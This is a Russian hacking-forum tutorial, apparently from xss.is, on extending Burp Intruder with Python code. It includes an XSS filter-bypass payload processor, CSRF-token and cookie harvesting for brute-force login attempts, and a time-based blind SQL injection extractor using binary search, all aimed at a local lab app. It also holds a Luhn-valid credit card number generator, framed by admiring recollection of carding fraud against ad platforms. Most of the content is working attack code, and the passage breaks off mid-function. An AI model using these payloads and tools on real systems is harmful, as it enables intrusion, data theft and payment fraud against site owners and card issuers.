Его величество Burp Intruder: часть вторая — программистская

[D2]

Автор petrinh1988
Источник https://xss.is

Продолжаем разбираться в Burp Intruder. В первой части статьи, мы поговорили о разных типах атак, работе с сессиями и макросами Burp. Остановились на примере использования процессинга полезной нагрузки. Самое время продолжить.

Важные уточнения! Статья вышла очень большая. Постоянно приходилось добавлять уточнения, пояснения, которые потом часто становились целыми блоками. В связи с чем, статья была разбита на две части:
Первая часть — про использование возможностей Intruder
Вторая часть — про расширение Intruder, путем написания своего Python-кода

Если вы заметили неточность или какой-то из примеров работает как-то не так или чего-то не хватает в примерах, обязательно напишите.
Нажмите, чтобы раскрыть...

В целом, у Burp есть отличный набор предустановленных обработчиков. Можно кодировать/декодировать строку в большое количество вариантов. Хэшировать, добавлять суффиксы и префиксы. В общем, вариаций тонна и маленькая тележка. Но бывают уникальные ситуации, когда не обойтись без навыков программирования. Именно для этого, покажу простой пример написания своего обработчика. Воспринимайте этот пример как пример, а не какое-то конкретное или функциональное решение.

Напомню, что базовый скелет для расширения выглядит так:

Python: Скопировать в буфер обмена

from burp import IBurpExtender

class BurpExtender(IBurpExtender):
    def registerExtenderCallbacks(self, callbacks):
        self._callbacks = callbacks
        self._helper = callbacks.getHelpers()
        callbacks.setExtensionName('Custom Intruder Processing')

Чтобы наше расширение могло участвовать в процессинге, нужно импортировать интерфейс IIntruderPayloadProcessor и реализовать два его метода:

1. getProcessorName() — возвращает название обработчика, в виде строки, для вывода в списке процессоров
2. processPayload() — непосредственно сам обработчик, который на выходе должен вернуть байт-массив содержащий обработанный пэйлоад. Метод принимает три аргумента:
   1. currentPayload — полезная нагрузка в текущем состоянии, с учетом всех примененных обработчико
   2. originalPayload — исходная полезная нагрузка, до применения каких-то обработчиков (то, что было в справочнике или было сгенерировано)
   3. baseValue — то, что будет заменено. Если конкретне, это значение между двумя символами § в интрудере

Реализовать можно, как в виде отдельного класса, так и расширив наш основной класс. Собственно, чтобы воочию увидеть что прилетает в processPayload(), можно использовать такой простой код расширения:

Python: Скопировать в буфер обмена

from burp import IBurpExtender
from burp import IIntruderPayloadProcessor

class BurpExtender(IBurpExtender, IIntruderPayloadProcessor):
    def registerExtenderCallbacks(self, callbacks):
        self._callbacks = callbacks
        self._helper = callbacks.getHelpers()
        callbacks.setExtensionName('Custom Intruder Processing')
        callbacks.registerIntruderPayloadProcessor(self)

    def getProcessorName(self):
        return "Custom Intruder Processing"
 
    def processPayload(self, currentPayload, originalPayload, baseValue):
        print(currentPayload, originalPayload, baseValue)
        return currentPayload

Конечно же, каждый новый объект нужно зарегистрировать в Burp, поэтому не забываем вызвать коллбэк registerIntruderPayloadProcessor() передав ему “себя”, если реализация IIntruderPayloadProcessor внутри этого же класса или экземпляр объекта с вашим классом.

Теперь можно загрузить расширение в Burp, не забыв указать, что речь идет о Python. Подробнее про добавление расширения в этой статье. После подгрузки, идем в интрудер, добавляем обработчик и видим возможность выбора нашего обработчика.

Чисто по модели, это уже полноценное рабочее расширение. Оно ничего не делает, зато выводит значения аргументов. Кстати, вот они:

Для наглядности, добавил еще один из стандартных обработчиков, который переводит символы в верхний регистр. И поставил этот обработчик до нашего. Поэтому, в currentPayload у нас все в верхнем регистре, а в originalPayload в нижнем. baseValue, как и писал, берется отсюда:

Чтобы наш обработчик имел смысл, нужно просто написать функционал, который будет как-то обрабатывать полученный пэйлоад. Например, давайте сделаем простой обфускатор JS-кода. Для тестов я собрал небольшую эмуляцию веб-приложения, чтобы запустить его используйте все тот же прикрепленный архив.

Веб-приложение будет доступно по адресу http://localhost/xss/. Обычная форма для поиска, которая подвержена XSS. Подвержена, но с небольшой защитой в виде:

PHP: Скопировать в буфер обмена
$search = str_replace('script', '', $search);

Соответственно, попытка отправить классическое “<script>alert…” не пройдет. Но пройдет попытка отправить что-то подобное:

Код: Скопировать в буфер обмена
<sscriptcript>alert(2)<%2Fsscriptcript>

“Защита” удалит script из sscriptcript и на выходе, мы получим заветное “script”. Реализуем эту простую обфускацию:

Python: Скопировать в буфер обмена

from burp import IBurpExtender
from burp import IIntruderPayloadProcessor

class BurpExtender(IBurpExtender, IIntruderPayloadProcessor):
    def registerExtenderCallbacks(self, callbacks):
        self._callbacks = callbacks
        self._helper = callbacks.getHelpers()
        callbacks.setExtensionName('XSS Obfuscation Processing')
        callbacks.registerIntruderPayloadProcessor(self)

    def getProcessorName(self):
        return "XSS Obfuscation Processing"
 
    def processPayload(self, currentPayload, originalPayload, baseValue):
        sCurrentPayload = self._helper.bytesToString(currentPayload)
     
        newCurrentPayload = sCurrentPayload.replace('script', 'sscriptcript')
        print(sCurrentPayload, newCurrentPayload)

        return self._helper.stringToBytes(newCurrentPayload)

Думаю, что в коде все интуитивно понятно. Мы просто сделали replace(), причем самым подробным способом. Поэтому, сразу добавляем новое расширение в Burp, включаем прокси Burp в браузере, посещаем http://localhost/xss/ и выполняем поиск. Запрос у нас есть, идем в интрудер. Словарь для теста я выбрал такой: SecLists/Fuzzing/XSS/human-friendly/XSS-BruteLogic.txt

Результат работы:

Все круто. Можно улучшить, добавив Grep для фильтрации результатов.

Вот так просто создаются обработчики. Причем, мы можем откуда-то брать нужные нам данные. Можно читать файл, можно делать запрос на сторонний сервер. Для пример, давайте реализуем получение токена и куки из примера с макросом, но в виде процессора полезных нагрузок. Кроме того, данный пример нам будет крайне полезен для понимания последней части статьи.

Получаем токен не через макрос​

Сама по себе схема могла бы выглядеть достаточно просто, а чего сложного, если надо просто сделать запрос и подставить данные? Сложность в том, что так мы можем работать только с теми данными, у которых нет привязки к кукам/сессиям. Тогда можно было бы воспользоваться стандартным хелпером buildHttpRequest(), чтобы создать простой GET-запрос. После чего отправить его через коллбэк makeHttpRequest() и спарсить результат. Вот так, например:

Python: Скопировать в буфер обмена

from burp import IBurpExtender
from burp import IIntruderPayloadProcessor
from java.net import URL
import re

class BurpExtender(IBurpExtender, IIntruderPayloadProcessor):
    def registerExtenderCallbacks(self, callbacks):
        self._callbacks = callbacks
        self._helper = callbacks.getHelpers()
        callbacks.setExtensionName('Request CSRF-Token Without Cookies')
        callbacks.registerIntruderPayloadProcessor(self)

    def getProcessorName(self):
        return "Request CSRF-Token Without Cookies"
 
    def getCSRF(self):
        host = 'localhost'
        port = 80
        protocol = 'http'
        path = '/usernames-csrf/index.php'

        url = URL(protocol, host, port, path)

        httpRequest = self._helper.buildHttpRequest(url)
        httpService = self._helper.buildHttpService(host, port, False)
        requestResponse = self._callbacks.makeHttpRequest(httpService, httpRequest)

        responseInfo = self._helper.analyzeResponse(requestResponse.getResponse())
        bodyOffset = responseInfo.getBodyOffset()
        body = self._helper.bytesToString(requestResponse.getResponse()[bodyOffset:])
        token_re = re.compile(r'(?<=name="csrf_token"\svalue=").*\"')      
        csrf_token =  token_re.search(body).group(0)

        return csrf_token
 
    def processPayload(self, currentPayload, originalPayload, baseValue):
        sCurrentPayload = self._helper.bytesToString(currentPayload)
        csrf_token = self.getCSRF()
        newCurrentPayload = sCurrentPayload + '&csrf_token=' + csrf_token
        print(sCurrentPayload, newCurrentPayload)
        return self._helper.stringToBytes(newCurrentPayload)

В отличии от предыдущего кода, у нас появилась функция getCSRF(), которая вытаскивает токен. В целом, если внимательно вчитаться в происходящее, код не очень нуждается в комментариях. Так выглядит формирование запроса, его отправка и обработка, в рамках расширения Burp. Подробнее все рассмотрено в других моих статьях.

Главное не забыть, что для работы примера нужно поменять настройку “Payload encoding”, убрав из “URL-encode these characters” амперсанд и равно, иначе он будет заменен на %26 и %3D, соответственно. Тогда сервер не поймет, что добавилась новая переменная.

В чем проблема полностью повторить процесс из макроса? В рамках обработчика полезных нагрузок, у нас есть доступ только к полезным нагрузкам. Мы не можем никак поменять куки или заголовки. Честно сказать, и в переменные-то нагло залезли, убрав энкодинг. Радует только то, что в Burp мы можем хулиганить.

Немного усложним схему, добавив IHttpListener для перехвата запросов. К нашей радости, в слушателе есть возможность определять инструмент создавший запрос. Все, что мы сделаем, это урежем интрудер до одного потока, перед запросом через процессор будем получать данные и сохранять их в переменных. В ситуации, когда запрос делает интрудер, мы берем значения из этих переменных и подставляем в запрос.

Python: Скопировать в буфер обмена

from burp import IBurpExtender
from burp import IIntruderPayloadProcessor
from burp import IBurpExtenderCallbacks
from burp import IHttpListener
from java.net import URL
import re

class BurpExtender(IBurpExtender, IIntruderPayloadProcessor, IHttpListener):
    csrf_token = ''
    cookie = ''

    def registerExtenderCallbacks(self, callbacks):
        self._callbacks = callbacks
        self._helpers = callbacks.getHelpers()
        callbacks.setExtensionName('Request CSRF-Token With Cookies')
        callbacks.registerIntruderPayloadProcessor(self)
        callbacks.registerHttpListener(self)

    def getProcessorName(self):
        return "Request CSRF-Token With Cookies"
 
    def getCSRF(self):
        host = 'localhost'
        port = 80
        protocol = 'http'
        path = '/usernames-csrf/index.php'

        url = URL(protocol, host, port, path)

        httpRequest = self._helpers.buildHttpRequest(url)
        httpService = self._helpers.buildHttpService(host, port, False)
        requestResponse = self._callbacks.makeHttpRequest(httpService, httpRequest)
        responseInfo = self._helpers.analyzeResponse(requestResponse.getResponse())
        bodyOffset = responseInfo.getBodyOffset()
        body = self._helpers.bytesToString(requestResponse.getResponse()[bodyOffset:])
        token_re = re.compile(r'(?<=name="csrf_token"\svalue=\").*(?=\")')      
        csrf_token =  token_re.search(body).group(0)

        self.cookie = responseInfo.getCookies()
        self.csrf_token = csrf_token
 
    def processPayload(self, currentPayload, originalPayload, baseValue):
        self.getCSRF()
        return currentPayload
 
    def processHttpMessage(self, toolFlag, messageIsRequest, messageInfo):
        if not messageIsRequest: return
     
        if toolFlag != IBurpExtenderCallbacks.TOOL_INTRUDER: return

        if not self.cookie or not self.csrf_token: return

        requestBytes = messageInfo.getRequest()
        requestInfo = self._helpers.analyzeRequest(requestBytes)
        requestHeaders = requestInfo.getHeaders()
        requestHeaders.add('Cookie: PHPSESSID=' + self.cookie[0].getValue())
        bodyOffset = requestInfo.getBodyOffset()
        body = self._helpers.bytesToString(requestBytes[bodyOffset:])
        body += '&csrf_token=' + self.csrf_token
        bodyBytes = self._helpers.stringToBytes(body)
        newRequest = self._helpers.buildHttpMessage(requestHeaders, bodyBytes)
        messageInfo.setRequest(newRequest)

Обратите внимание, что добавление параметра “csrf_token” перенес в из процесса обработки пэйлоада в обработку сообщения, в итоге мы спокойно можем вернуть в энкодинг знак конкатенации и равно.

Сам запрос в интрудере будет выглядеть примерно так:

Код: Скопировать в буфер обмена

POST /usernames-csrf/index.php HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:130.0) Gecko/20100101 Firefox/130.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/png,image/svg+xml,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Content-Type: application/x-www-form-urlencoded
Content-Length: 104
Connection: keep-alive

username=§abba§&password=111111

Вернем многопоточность, мы же не ламеры какие-то. Сделать это можно реализовав классическую очередь FIFO (First Input First Output), Просто сохраняем куку и csrf не в переменную, а в список. Далее, когда перехвачен запрос интрудера в IHttpListener, берем первое значение из списка и подставляем. Все.

Python: Скопировать в буфер обмена

from burp import IBurpExtender
from burp import IIntruderPayloadProcessor
from burp import IBurpExtenderCallbacks
from burp import IHttpListener
from java.net import URL
import re

class BurpExtender(IBurpExtender, IIntruderPayloadProcessor, IHttpListener):
    session_data = []

    def registerExtenderCallbacks(self, callbacks):
        self._callbacks = callbacks
        self._helpers = callbacks.getHelpers()
        callbacks.setExtensionName('Request CSRF-Token With Cookies Multy')
        callbacks.registerIntruderPayloadProcessor(self)
        callbacks.registerHttpListener(self)

    def getProcessorName(self):
        return "Request CSRF-Token With Cookies Multy"
 
    def getCSRF(self):
        host = 'localhost'
        port = 80
        protocol = 'http'
        path = '/usernames-csrf/index.php'
        url = URL(protocol, host, port, path)
        httpRequest = self._helpers.buildHttpRequest(url)
        httpService = self._helpers.buildHttpService(host, port, False)
        requestResponse = self._callbacks.makeHttpRequest(httpService, httpRequest)
        responseInfo = self._helpers.analyzeResponse(requestResponse.getResponse())
        bodyOffset = responseInfo.getBodyOffset()
        body = self._helpers.bytesToString(requestResponse.getResponse()[bodyOffset:])
        token_re = re.compile(r'(?<=name="csrf_token"\svalue=\").*(?=\")')      
        csrf_token =  token_re.search(body).group(0)
        cookie_value = responseInfo.getCookies()[0].getValue()
        self.session_data.append({'cookie': cookie_value, 'csrf': csrf_token})
 
    def processPayload(self, currentPayload, originalPayload, baseValue):
        self.getCSRF()      
        return currentPayload
     
    def processHttpMessage(self, toolFlag, messageIsRequest, messageInfo):
        if not messageIsRequest: return
     
        if toolFlag != IBurpExtenderCallbacks.TOOL_INTRUDER: return

        if not self.session_data: return

        session = self.session_data.pop()
        requestBytes = messageInfo.getRequest()
        requestInfo = self._helpers.analyzeRequest(requestBytes)

        requestHeaders = requestInfo.getHeaders()
        requestHeaders.add('Cookie: PHPSESSID=' + session['cookie'])
        bodyOffset = requestInfo.getBodyOffset()
        body = self._helpers.bytesToString(requestBytes[bodyOffset:])
        body += '&csrf_token=' + session['csrf']
        bodyBytes = self._helpers.stringToBytes(body)
        newRequest = self._helpers.buildHttpMessage(requestHeaders, bodyBytes)
        messageInfo.setRequest(newRequest)

Обратите внимание, что значение куки перенес в момент поулчения, а не подстановки:

Python: Скопировать в буфер обмена
cookie_value = responseInfo.getCookies()[0].getValue()

Если бы у нас была какая-то четкая привязка запроса к конкретным кукам, то я бы вернул добавление CSRF-токена в обработчик полезной нагрузки. Таким образом, у меня было бы связующее звено в виде токена, который уже лежит в параметрах запросов и в списке объекта. Соответственно, в IHttpListener можно было бы получить параметр, далее по его значению произвести поиск в списке и подставить нужные значения.

Генерация пэйлоадов​

Как и в случае с процессингом, у Burp есть широчайшие возможности для генерации словарей: числовые диапазоны, блоки символов, даже брут-форс генератор и генератор имен пользователей. Можно сделать, например, таким образом:

Соединив в одном параметре две точки инъекции и назначив каждой свой генератор пэйлоадов. Для теста совместил генератор блоков текста и диапазон чисел, получив такой результат:

Но, опять же, ситуации бывают разные и много генераторов не бывает. Поэтому, Burp оставил возможность выбрать “Extension Generated” и добавить свой генератор, в виде расширения для Burp. Кроме того, один из плюсов собственных генераторов — вы сами определяете когда и как прервать процесс генерации. При этом, пока идет генерация, работает и интрудер — этот момент нам пригодиться в итоговом примере.

Генератор номеров кредиток​

Собственно, разберем несколько примеров собственных генераторов. Для начала вспомним славные времена, когда Google и Facebook были добрыми и доверчивыми. В те славные времена, можно было спокойно привязать карту к рекламному аккаунту с которого потом спокойно откручивалась реклама на $200-300, после чего гиганты пытались делать списание с карты. Зачастую, гиганты “кушали” карту на доверии, даже без списания какого-нибудь тестового доллара. Это привело к появлению генераторов номеров карт, резкому росту доходов добрых аферистов и просадке в доходах гигантов. Сейчас времена канули в лету, но мне кажется довольно интересным пример с генерацией карт, а примеры хочется привести именно интересные.

Проблема не в том, чтобы сгенерировать случайный набор цифр. Цифры на карте вовсе не случайны, первые шесть цифр это бин. В бин зашит провайдер карты (Visa, Mastercard, Maestro, etc.) и банк выпустивший карту. Последняя цифра номера карты, это контрольная. Соответствие этим правилам не гарантирует, что карта существует в реальности, но все это учитывается при чеке номера карты сервисами. Конечно же, если сервис не производит тестовое списание. Скажу по секрету, даже гиганты стараются избежать тестовых списаний, так как на них это все же накладывает дополнительные расходы. Просто так ни один банк никуда не перекинет деньги, везде есть комиссия. Поэтому, большинство сервисов предпочитают для проверки алгоритм Луна (Luhn это фамилия), он же алгоритм «MOD 10». Смысл алгоритма простой:

1. Выкидываем последнюю цифру, она у нас только для контроля
2. Каждый четный символ умножаем на два, если получается число двузначное, то вычитаем 9 (ну или складываем первую и вторую цифру). Нечетный цифр просто запоминаем.
3. Суммируем все цифры, кроме последней, и умножаем на 9
4. Получаем остаток деления на 10 и сравниваем с контрольной цифрой
5. Если совпало, мы красавчики - номер карты может существовать в реальном мире, а значит

С некоторыми бинами и достаточными данными о персоне, даже Google и Facebook могут добавить карту без тестового списания…

Вот такой пример реализации чека по Луну есть в интернет:
Python: Скопировать в буфер обмена

    card_number = list(map(int, list(input('Enter the credit card number : '))))
    card_number.reverse()
    checksum = card_number.pop(0)

    for i in range(len(card_number)):
        if i % 2 == 0:
            x = card_number[i] * 2
            if len(str(x)) == 2:
                x -= 9
            card_number[i] = x

    total = sum(card_number) * 9
    total %= 10

    if total == checksum:
        print('It is a valid number')
    else:
        print('It is not a valid number')

Нам нужен обратный порядок действий, при этом, первые шесть цифр будем брать из заранее приготовленных бинов. Соответственно, наша работа сводится к генерации случайных 9 цифр и подсчету контрольной цифры:
Python: Скопировать в буфер обмена

import random

bin = '374693'
gen = str(random.randint(100000000,999999999))
card_number = bin + gen
total = 0

for i in range(len(card_number)):
    x = int(card_number[i])
    if i % 2 == 0:
        x *= 2
        if len(str(x)) == 2:
            x -= 9
    total += x

total %= 10
card_number += str(total)

print(card_number)

Гнератор карт готов, теперь надо обернуть его в расширение для Burp. Соответственно, потребуется реализация интерфейсов IIntruderPayloadGenerator и IIntruderPayloadGeneratorFactory. Фабрика, по сути, промежуточный инструмент выполняющий две задачи: сообщает Burp название генератора и создает новый генератор при необходимости.

Вся реализация функционала ложиться на IIntruderPayloadGenerator. В нем требуется реализовать три основных метода:

1. hasMorePayloads() — сообщает Burp, будут ли у генератора еще полезные нагрузки для итераций атаки интрудера
2. getNextPayload(baseValue) — главный метод, который создает полезную нагрузку
3. reset() — вызывается, когда в Burp инициируется принудительное завершение атаки в интрудере. Необходимо, например, чтобы закрыть соединения с базой данных или т.п.

Python: Скопировать в буфер обмена

from burp import IBurpExtender
from burp import IIntruderPayloadGenerator
from burp import IIntruderPayloadGeneratorFactory
import random

class BurpExtender(IBurpExtender, IIntruderPayloadGeneratorFactory):
    def registerExtenderCallbacks(self, callbacks):
        self._callbacks = callbacks
        self._helpers = callbacks.getHelpers()
        callbacks.setExtensionName('CC Generator')
        callbacks.registerIntruderPayloadGeneratorFactory(self)

    def getGeneratorName(self):
        return 'CC Generator'

    def createNewInstance(self, attack):
        return CCPayloadGenerator(self)
 
class CCPayloadGenerator(IIntruderPayloadGenerator):  
    def __init__(self, extender):
        self._callbacks = extender._callbacks
        self._helpers = extender._callbacks.getHelpers()

    def hasMorePayloads(self):
        return True

    def getNextPayload(self, baseValue):
        bin = '374693'
        gen = str(random.randint(100000000,999999999))
        card_number = bin + gen

        total = 0

        for i in range(len(card_number)):
            x = int(card_number[i])
            if i % 2 == 0:
                x *= 2
                if len(str(x)) == 2:
                    x -= 9
            total += x

        total %= 10
        card_number += str(total)

        return self._helpers.stringToBytes(card_number)
 
    def reset(self):
        pass

У нас получился бесконечный генератор нагрузок. hasMorePayloads() всегда будет возвращать True, а генератор каждый раз будет создавать новый номер кредитки. Можно запустить и убедиться, что генератор работает:

Бесконечный генератор, это не очень удобно. Чтобы исправить ситуацию, можно в конструкторе генератора заранее создать список нужной размерности и отдавать по одному. Соответственно, этот вариант будет выглядеть таким образом:
Python: Скопировать в буфер обмена

from burp import IBurpExtender
from burp import IIntruderPayloadGenerator
from burp import IIntruderPayloadGeneratorFactory
import random

class BurpExtender(IBurpExtender, IIntruderPayloadGeneratorFactory):
    def registerExtenderCallbacks(self, callbacks):
        self._callbacks = callbacks
        self._helpers = callbacks.getHelpers()
        callbacks.setExtensionName('CC Generator List')
        callbacks.registerIntruderPayloadGeneratorFactory(self)

    def getGeneratorName(self):
        return 'CC Generator List'

    def createNewInstance(self, attack):
        return CCPayloadGenerator(self)
 
class CCPayloadGenerator(IIntruderPayloadGenerator):  
    cards_list = []

    def __init__(self, extender):
        self._callbacks = extender._callbacks
        self._helpers = extender._callbacks.getHelpers()
        for _ in range(0,9):
            card =  self.genCard()
            self.cards_list.append(card)


    def hasMorePayloads(self):
        return len(self.cards_list) > 0


    def getNextPayload(self, baseValue):
        card = self.cards_list.pop(0)
        return card


    def genCard(self):
        bin = '374693'
        gen = str(random.randint(100000000,999999999))
        card_number = bin + gen

        total = 0

        for i in range(len(card_number)):
            x = int(card_number[i])
            if i % 2 == 0:
                x *= 2
                if len(str(x)) == 2:
                    x -= 9
            total += x

        total %= 10
        card_number += str(total)

        return self._helpers.stringToBytes(card_number)
 
    def reset(self):
        pass

Тест показывает, что на выходе прошло 10 итераций, включая тестовую пустую:

Управляем процессом атаки​

Как-то столкнулся с довольно простой, но нудной задачей. Веб-приложение работало на WordPress с установленным плагином WP File Manager. Фишка в том, что бэкапер плагина хранил информацию об архивах в базе данных. Доступ к базе у меня был через SQLi, а значит и была возможность выкачать бэкап, получив заветный wp-config и прочие ништяки. Из плюсов, у плагина был достаточно шаблонный принципы наименования архивов. Из минусов, SQLi была time-based, а название архива достаточно длинным с кучей случайных символов.

SQLMAP не получилось заставить зацепиться, а парсинг через Burp Intruder, хоть и сработал, но потребовал достаточно много времени. Для понимания, инъекция имела следующий вид:

SQL: Скопировать в буфер обмена
%2b(select*from(select(if((select(ascii(substr(option_value,118,1)))from(wp_options)where(option_name='wp-phpmyadmin-extension'))=ascii('R'),sleep(5),sleep(0))))a)%2b

Соответственно, нужно перебрать 56 символов английского алфавита, цифры и подчеркивание. Подходов, как перебрать и как оптимизировать процесс, существует множество. Но в любом случае, это достаточно нудно и неудобно, т.к. по сути интрудер не заточен под такие процессы. И все же, фанатикам берпа, вроде меня, не стоит расстраиваться. Вооружившись программированием, решим эту проблему. Единственное, чтобы не ставить WP и не настраивать все под эту конкретную уязвимость, упростим задачу, здесь главное принцип.

Нюанс в том, что API Burp Extender, которое поддерживает разработку на Python (Jython), достаточно ограниченное, поэтому, иногда, приходится извернуться, скомпоновав несколько подходов в один. Например, у нас нет прямого способа узнать продолжительность запроса. Нужно ваять костыль. Если вдруг у вас есть альтернативный вариант, обязательно напишите в комментариях.

Для начала, давайте вспомним, как мы работали с IHttpListener, когда реализовали многопоточную работу интрудера с предварительным получением CSRF. Набросаем простой код, который схожим образом будет измерять время выполнения запроса. У нас же time-based уязвимость.

Python: Скопировать в буфер обмена

from burp import IBurpExtender
from burp import IHttpListener
import time

class BurpExtender(IBurpExtender, IHttpListener):
    requestsTime = []

    def registerExtenderCallbacks(self, callbacks):
        self._callbacks = callbacks
        self._helpers = callbacks.getHelpers()
        callbacks.setExtensionName('Get Request Time')
        callbacks.registerHttpListener(self)

    def getRequestTimeOjb(self, request):
        for i, reqTime in enumerate(self.requestsTime):
            if reqTime['request'] == request:
                self.requestsTime = self.requestsTime[:i] + self.requestsTime[i+1:]
                return reqTime
        return False
 
    def processHttpMessage(self, toolFlag, messageIsRequest, messageInfo):
        if toolFlag != IBurpExtenderCallbacks.TOOL_INTRUDER: return

        if not messageIsRequest:
            currentTime = time.time()
            reqTime = self.getRequestTimeOjb(messageInfo.getRequest())
            if not reqTime: return
            print('Request duration', currentTime - reqTime['time'])
            return
     
        self.requestsTime.append({
            'request': messageInfo.getRequest(),
            'time': time.time()
        })

Как и в том примере, мы снова используем список объектов, помещая в него время запуска запроса и сам запрос. В данном случае, запрос помещается “как есть”, т.е. в виде байт-массива. Далее, когда флаг messageIsRequest ложный, т.е. мы имеем дело уже с ответом, находим в списке запросов нужный нам и просто получаем время в секундах.

Для теста используйте http://localhost/timeout/ с запущенным докер-проектом

Отлично, теперь мы можем замерять время выполнения запроса. Осталось реализовать подбор символов, с прерыванием работы, когда мы получаем успешный вариант. В этом нам помогут генераторы пейлоадов. Каждый раз будем смотреть, надо ли генерировать новую нагрузку и какой по очереди символ проверяем. Подбираемая позиция, соответственно, будет регулироваться IHttpListener. Получится примерно такая штука:

1. Закидываем пэйлоад на нулевую позицию
2. Как только нашли нужный символ (время запроса больше минимального порога) запомнили символ, сместили позицию и начали с пункта 1
3. Повторяем, пока не обойдем все символы

Ну и, раз уж взялся реализовывать такую штуку, было бы странным избежать оптимизаций. В данном случае, оптимальным будет не поочередный подбор символов, а что-то вроде поиска по бинарному дереву. Реализация подобия рекурсивной функции, которая принимает стартовую позицию и максимальное значение, далее сдвигая минимум и максимум в направлении искомого значения, пока они не сойдутся на нем. Пошаговый алгоритм:

1. Получаем середину между минимумом и максимумом
2. Запрашиваем у БД, ASCII-код символа меньше нашего среднего значению?
3. Если да, то максимумом становится наше среднее значение минус один, так как среднее не попадает в нужные рамки и можно отбросить его. После чего алгоритм повторяется.
4. Если нет, то стартовой позицией становится наше средние значение и алгоритм повторяется
5. Делаем так, пока у нас значения минимума и максимума не сойдутся в одной точке. Если при этом таймаут будет меньше ожидаемого времени, выкидываем ошибку… Что-то пошло не так. Либо с набором символов что-то не так, либо где-то мы потеряли связь с сервером.

Небольшая инфографика:

В коде алгоритм бинарного поиска будет выглядеть так:

Python: Скопировать в буфер обмена

symbols = list(range(48,58)) + list(range(65,91)) + [95] + list(range(97,123))
minvalue = 0
maxvalue = len(symbols)
searched_value = 47
iteration = 0


print('All values:')
print(symbols)
print(f'Search value {searched_value}:\n')


def binarySearch(min, max):
    global iteration
    iteration += 1
    check_value_ind = int((min + max) // 2)
    check_value = symbols[check_value_ind]


    print(iteration, min, max, check_value_ind, searched_value, check_value)


    if searched_value == check_value:
        return 'Found value: ' + chr(check_value)


    if min >= max:
        return False


    if searched_value < check_value:
        return binarySearch(min, check_value_ind - 1)
    else:
        return binarySearch(check_value_ind + 1, max)      


print(binarySearch(0, len(symbols) - 1))

Самое время переложить алгоритм на наше расширение. Для теста можно использовать ссылку localhost/backup-sqli. Пример максимально упрощен. Мы знаем, что в базе есть таблица у которой всего одно значение. Запрос к базе совершенно незащищен, мы просто условились, что будем работать именно с time-based. Сама полезная нагрузка будет выглядеть следующим образом:

SQL: Скопировать в буфер обмена
0 or id=if(ascii(substr(file_name, 1,1)) <= 75,sleep(5),sleep(0))

Учитывая, что в коде тестового “приложения” оставлена огромная дыра вида:
PHP: Скопировать в буфер обмена

    $cond = $_GET['id'];
    $sql = "SELECT * FROM `backup` WHERE id=$cond";

Полный запрос на выходе будет выглядеть следующим образом:

SQL: Скопировать в буфер обмена
SELECT * FROM `backup` WHERE id=0 or id=if(ascii(substr(file_name, 1,1)) <= 75,sleep(5),sleep(0));

Полный код расширения будет в архиве, здесь пробежимся по важным моментам. Переменные, которые нам потребуются:

Python: Скопировать в буфер обмена

    continueSearch = True
    requestsTime = []
    sleepTimeout = 3
    charPosition = 0
    resultString = ''
    symbols = [46] + list(range(48,58)) + list(range(65,91)) + [95] + list(range(97,123))
    checkSymbolPos = 0
    minValue = 0
    maxValue = len(symbols) - 1
    maxLength = 60

Что касается максимальной длины, всегда можно расширить генератор пэйлоадов и добавить определение длины значения. Просто вместо ascii кода символа, подставить сравнение длины и пройтись таким же алгоритмом поиска, например, от 10000 до 0. Либо другим способом определять, готово ли значение… Я же решил не захламлять и без того большой материал, просто прописав заранее известное значение. Можно даже убрать эту проверку, если она вас ограничивает, тогда интрудер в какой-то момент будет маслать впустую.

Если хотите расширить набор символов, просто добавьте значения в список symbols. Либо как отдельные значения, наподобие [46] (это точка), так и диапазоны. Можно порядок не соблюдать, но тогда надо обернуть формирование списка в sort().

Для корректной работы алгоритма, при нахождении очередного символа, необходимо сдвинуть проверяемый символ и сбросить переменные. Для этого создал сервисную функцию:

Python: Скопировать в буфер обмена

def initNextSearch(self, charPosition = 0):
        self.charPosition += 1
        if charPosition:          
            self.charPosition = charPosition
        self.minValue = 0
        self.maxValue = len(self.symbols) - 1
        self.checkSymbolPos = 0
        self.continueSearch = True

Отдельно хочу остановиться на функции, которая сообщает интрудеру, есть ли еще значения у генератора. Основное, это переменная continueSearch. В случае проблем с поиском символа, чекер установит её в False и интрудер остановится. Но, на всякий случай, добавил проверку длины найденного значения, чтобы не уходить за обозначеные рамки.

Python: Скопировать в буфер обмена

def hasMorePayloads(self):
        if len(self.resultString) >= self.maxLength:
            return False
        return self.continueSearch

Генератор полезной нагрузки выглядит так:

Python: Скопировать в буфер обмена

def getNextPayload(self, baseValue):
        self.checkSymbolPos = int((self.minValue + self.maxValue) // 2)    
        try:
            checkValue = str(self.symbols[self.checkSymbolPos])
        except:
            print(self.minValue, self.maxValue, self.checkSymbolPos, self.symbols[self.checkSymbolPos], chr(self.symbols[self.checkSymbolPos]))
            return None
     
        if self.minValue >= self.maxValue:
            sqlPayload = '0 or id=if(ascii(substr(file_name,' + str(self.charPosition)  + ',1)) = ' + checkValue + ',sleep(' + str(self.sleepTimeout) + '),sleep(0))'
        else:
            sqlPayload = '0 or id=if(ascii(substr(file_name,' + str(self.charPosition)  + ',1)) <= ' + checkValue + ',sleep(' + str(self.sleepTimeout) + '),sleep(0))'
        return self._helpers.stringToBytes(sqlPayload)

Если максимум и минимум не равны друг другу, а так же не произошло переворота, значит мы ищем потенциальное значение ascii-кода символа и сравнение у нас “меньше или равно”. Если ситуация иная, значит мы нашли код и нужно убедиться, правильный ли он. Если код оказался неправильным, значит что-то пошло не так… либо символ не добавлен в наш набор, например, тире. Либо, нас спалил WAF и сделал ататат. Ну или, как вариант, сервер устал и лег поспать.

Возможно, try-exception можно выкинуть. Есть подозрение, что это артефакт с моих тестов. Да-да, именно так и появляются ошибки в коде, которые мы с вами любим находить и эксплуатировать. Программист задолбался и даже передохнув не очень хорошо воспринимает свой же код, а если чужой так вообще мрак.

Функция генерации не имеет никакого смысла без чека результата запроса в IHttpListener:

Python: Скопировать в буфер обмена

def processHttpMessage(self, toolFlag, messageIsRequest, messageInfo):
        if toolFlag != IBurpExtenderCallbacks.TOOL_INTRUDER: return


        if not messageIsRequest:
            currentTime = time.time()
            reqTime = self.getRequestTimeOjb(messageInfo.getRequest())
            # print(self.minValue, self.maxValue, self.checkSymbolPos, self.symbols[self.checkSymbolPos], chr(self.symbols[self.checkSymbolPos]))
            if not reqTime: return


